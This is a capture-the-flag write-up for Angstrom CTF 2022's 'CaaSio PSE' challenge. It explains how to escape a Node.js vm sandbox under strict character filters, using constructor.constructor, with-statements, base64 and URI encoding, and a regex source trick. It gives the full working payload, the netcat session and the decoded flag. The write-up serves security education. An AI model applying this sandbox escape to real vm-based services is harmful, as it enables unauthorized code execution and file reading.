↑ Top
↩ Go Back
• 6 min read

Angstrom CTF 2022 : CaaSio PSE

Angstrom CTF 2022 : CaaSio PSE

A js jail escape challenge. I learnt quite a few weird js techniques when solving this question.

The challenge

The server runs a listener with the following js file:

##!/usr/local/bin/node

// flag in ./flag.txt

const vm = require("vm");
const readline = require("readline");

const interface = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
});

interface.question(
    "Welcome to CaaSio: Please Stop Edition! Enter your calculation:\n",
    function (input) {
        interface.close();
        if (
            input.length < 215 &&
            /^[\x20-\x7e]+$/.test(input) &&
            !/[.\[\]{}\s;`'"\\_<>?:]/.test(input) &&
            !input.toLowerCase().includes("import")
        ) {
            try {
                const val = vm.runInNewContext(input, {});
                console.log("Result:");
                console.log(val);
                console.log(
                    "See, isn't the calculator so much nicer when you're not trying to hack it?"
                );
            } catch (e) {
                console.log("your tried");
            }
        } else {
            console.log(
                "Third time really is the charm! I've finally created an unhackable system!"
            );
        }
    }
);

Basically, the server accepts a js string and eval it in a separate V8 context. Our goal is to read ./flag.txt. There are some constraints for our payload;

  1. length < 215
  2. All characters in range [0x20, 0x7e]
  3. Doesn’t contain any characters from the set .[]{}\s;`'"\_<>?:
  4. Doesn’t have the keyword ‘import’

Idea

We are running code in an empty context, and that means we cannot use functions like require and import. But there’s still a way to bypass that: by calling {}.constructor.constructor. It is a function constructor that returns a function from a string. Turns out that the function created in this way can access all the global variables and the modules we need for disk access.

Constraint 3 was hard to bypass at first glance, but there’s some workarounds. With . banned, we can still access object members using the keyword with (docs). For example, String.fromCharCode(0x41) can be rewritten as with(String) fromCharCode(0x41). Also, we can bypass constraint 3 by using base64 encoding (atob/btoa) and uriencode (escape/unescape). But the problem is, using fromCharCode to generate string makes the payload too long – is there a better way?

Maybe you’ve noticed that / was missing in constraint 3 by now, and that’s right! We can get a string from a Regex literal. /myregexp/.source gives you the string 'myregexp', and we can bypass the dot using with(/myregexp/) atob(source).

With that in mind let’s smuggle some encoded payload in our regex. Our payload to read file is

process.mainModule.require("fs").readFileSync("flag.txt")

, and to bypass the constraints, we’ll encode it with base64. So the payload becomes

eval(atob("cHJvY2Vzcy5tYWluTW9kdWxlLnJlcXVpcmUoImZzIikucmVhZEZpbGVTeW5jKCJmbGFnLnR4dCIp"))

Now, we need to use the {}.constructor.constructor thing:

a="constructor";
with(this[a][a]("return this")())
    eval(atob("cHJvY2Vzcy5tYWluTW9kdWxlLnJlcXVpcmUoImZzIikucmVhZEZpbGVTeW5jKCJmbGFnLnR4dCIp"))

Finally, we uriencode the whole thing with escape, and call eval(unescape()) on that whole payload. We’ll use the regex trick here:

with(/a=%22constructor%22%3Bwith%28this%5Ba%5D%5Ba%5D%28%22return%20this%22%29%28%29%29eval%28atob%28%22cHJvY2Vzcy5tYWluTW9kdWxlLnJlcXVpcmUoImZzIikucmVhZEZpbGVTeW5jKCJmbGFnLnR4dCIp%22%29%29/)
    eval(unescape(source))

And that’ll give us:

$ nc challs.actf.co 31337 
Welcome to CaaSio: Please Stop Edition! Enter your calculation:
with(/a=%22constructor%22%3Bwith%28this%5Ba%5D%5Ba%5D%28%22return%20this%22%29%28%29%29eval%28atob%28%22cHJvY2Vzcy5tYWluTW9kdWxlLnJlcXVpcmUoImZzIikucmVhZEZpbGVTeW5jKCJmbGFnLnR4dCIp%22%29%29/)eval(unescape(source))
Result:
<Buffer 61 63 74 66 7b 6f 6d 67 5f 6a 73 5f 69 73 5f 6c 69 6b 65 5f 73 6f 5f 71 75 69 72 6b 79 5f 68 61 68 61 7d 0a>
See, isn't the calculator so much nicer when you're not trying to hack it?

We can decode that locally with:

> String.fromCharCode(0x61, 0x63, 0x74, 0x66, 0x7b, 0x6f, 0x6d, 0x67, 0x5f, 0x6a, 0x73, 0x5f, 0x69, 0x73, 0x5f, 0x6c, 0x69, 0x6b, 0x65, 0x5f, 0x73, 0x6f, 0x5f, 0x71, 0x75, 0x69, 0x72, 0x6b, 0x79, 0x5f, 0x68, 0x61, 0x68, 0x61, 0x7d, 0x0a)
'actf{omg_js_is_like_so_quirky_haha}\n'

flag: actf{omg_js_is_like_so_quirky_haha}

References

There are some excellent articles on how {}.constructor.constructor and the vm modules works:

Share on: Twitter